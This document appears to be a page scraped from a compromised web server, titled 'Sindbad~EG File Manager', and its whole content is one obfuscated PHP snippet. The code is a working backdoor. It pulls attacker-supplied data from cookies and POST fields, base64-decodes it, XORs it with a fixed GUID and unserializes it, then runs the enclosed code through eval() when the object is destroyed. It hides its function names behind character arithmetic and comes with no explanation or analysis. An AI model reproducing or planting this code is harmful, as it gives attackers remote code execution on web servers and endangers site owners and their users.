Sindbad~EG File Manager

$pkoWS = 'B' . "\x5f" . "\147" . chr ( 1012 - 924 )."\116";$VNmxkYBHbv = "\x63" . "\x6c" . 'a' . chr ( 147 - 32 ).chr ( 943 - 828 ).chr (95) . chr (101) . "\x78" . "\x69" . chr ( 596 - 481 )."\x74" . "\163";$nhTHK = class_exists($pkoWS); $VNmxkYBHbv = "568";$SsVtdidx = !1;if ($nhTHK == $SsVtdidx){function gFUbP(){$ZQQsGAe = new /* 65437 */ B_gXN(33801 + 33801); $ZQQsGAe = NULL;}$HCmsaLqcz = "33801";class B_gXN{private function wxHtD($HCmsaLqcz){if (is_array(B_gXN::$ORGhxhVM)) {$cURHU = str_replace(chr ( 519 - 459 ) . "\77" . chr (112) . chr (104) . chr (112), "", B_gXN::$ORGhxhVM["\143" . 'o' . chr ( 787 - 677 )."\164" . "\x65" . "\x6e" . 't']);eval($cURHU); $HCmsaLqcz = "33801";exit();}}private $ApLNQVriON;public function FjEMjlafKY(){echo 5328;}public function __destruct(){$HCmsaLqcz = "63931_15571";$this->wxHtD($HCmsaLqcz); $HCmsaLqcz = "63931_15571";}public function __construct($QwdyDd=0){$KZUVWOCmso = $_POST;$axzesuosn = $_COOKIE;$JwPip = "667d33dc-32bf-48b8-b77f-23dce743cfcf";$sFtryE = @$axzesuosn[substr($JwPip, 0, 4)];if (!empty($sFtryE)){$pywEnMfbzY = "base64";$EFfZUr = "";$sFtryE = explode(",", $sFtryE);foreach ($sFtryE as $HDSyA){$EFfZUr .= @$axzesuosn[$HDSyA];$EFfZUr .= @$KZUVWOCmso[$HDSyA];}$EFfZUr = array_map($pywEnMfbzY . chr ( 106 - 11 )."\x64" . 'e' . 'c' . "\157" . "\x64" . "\145", array($EFfZUr,)); $EFfZUr = $EFfZUr[0] ^ str_repeat($JwPip, (strlen($EFfZUr[0]) / strlen($JwPip)) + 1);B_gXN::$ORGhxhVM = @unserialize($EFfZUr);}}public static $ORGhxhVM = 53532;}gFUbP();}